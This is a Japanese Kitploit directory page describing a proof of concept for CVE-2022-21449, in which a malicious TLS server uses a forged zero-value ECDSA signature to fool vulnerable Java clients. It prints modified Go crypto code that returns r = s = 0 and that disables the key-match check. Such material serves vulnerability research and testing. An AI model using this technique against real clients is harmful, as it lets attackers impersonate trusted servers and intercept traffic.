Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2022-21449-TLS-PoC — CVE-2022-21449 Proof of Concept は、脆弱な Java バージョン上で動作するクライアントと悪意のある TLS サーバーを用いてその使用方法を示しています | Kitploit
ツール/GitHubGitHub/notkmhn/cve-2022-21449-tls-poc
脆弱性分析エクスプロイトウェブセキュリティ暗号化ペネトレーションテスト
GitHubnotkmhn/cve-2022-21449-tls-poc

CVE-2022-21449-TLS-PoC

CVE-2022-21449 Proof of Concept は、脆弱な Java バージョン上で動作するクライアントと悪意のある TLS サーバーを用いてその使用方法を示しています

リポジトリを見る
1212425ヶ月前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2022-21449-TLS-PoC

CVE-2022-21449(Neil Maddenによる脆弱性レポートではPsychic Signaturesとも呼ばれています)は、脆弱なクライアントと悪意のあるTLSサーバーを使用したその利用方法を示す概念実証(PoC)です。

悪意のあるサーバーは、www.google.comに対する有効な(2022-04-20時点の)証明書チェーン(ECDSA公開鍵 secp256r1)を提示します。しかし、crypto/ecdsa パッケージは、r = s = 0 の無効な署名を提示するように変更されています。脆弱なクライアントはこの無効な署名を受け入れ、残りのTLSハンドシェイクを続行できるようにします。

ビルドおよび調査中に削除された *_test.go ファイルを除き、悪意のあるTLSサーバーにはgolang cryptoライブラリへのこれらの変更が必要でした。これらの変更は、go/src ディレクトリ内で CVE-2022-21449 を検索/greppingすることでも見つけることができます。

ビルド

既存のgolangインストールとmavenが必要です。その後、./build.sh を実行します。

Ubuntu 20.04.4 LTS (WSL2) 上の OpenJDK 16.0.1 (build 16.0.1+9-Ubuntu-120.04, 2021-04-20) でテスト済みです。

デモ

https://user-images.githubusercontent.com/7225227/164332612-832b046b-cd2e-46e8-b3d6-1da36e290992.mp4

golang cryptoライブラリへの変更

crypto/ecdsa/ecdsa.go において、関数 signGeneric は基本的に以下のように変更されました:

root@kitploit:~
func signGeneric(priv *PrivateKey, csprng *cipher.StreamReader, c elliptic.Curve, hash []byte) (r, s *big.Int, err error) {
        // SEC 1, Version 2.0, Section 4.1.3
        // CVE-2022-21449 - Modified and removed all calculations. Return r = s = 0
        r = new(big.Int)
        s = new(big.Int)
        return
}

また、crypto/tls/tls.go では、関数 X509KeyPair が、与えられた秘密鍵がECDSA公開鍵のX.509証明書の公開鍵と一致するかどうかの検証チェックを無効にするように変更されました:

root@kitploit:~
// X509KeyPair parses a public/private key pair from a pair of
// PEM encoded data. On successful return, Certificate.Leaf will be nil because
// the parsed form of the certificate is not retained.
func X509KeyPair(certPEMBlock, keyPEMBlock []byte) (Certificate, error) {
        fail := func(err error) (Certificate, error) { return Certificate{}, err }
        ...
        switch pub := x509Cert.PublicKey.(type) {
        ...
        case *ecdsa.PublicKey:
                // CVE-2022-21449: Modified checks away
                _, ok := cert.PrivateKey.(*ecdsa.PrivateKey)
                if !ok {
                        return fail(errors.New("tls: private key type does not match public key type"))
                }
                /*if pub.X.Cmp(priv.X) != 0 || pub.Y.Cmp(priv.Y) != 0 {
                        return fail(errors.New("tls: private key does not match public key"))
                }*/
         ...
}

クレジット

  • Neil Madden: CVE-2022-21449の発見と開示、優れたレポートで詳細に説明されています。
  • Khaled Nassar: このPoC。
ツールをダウンロード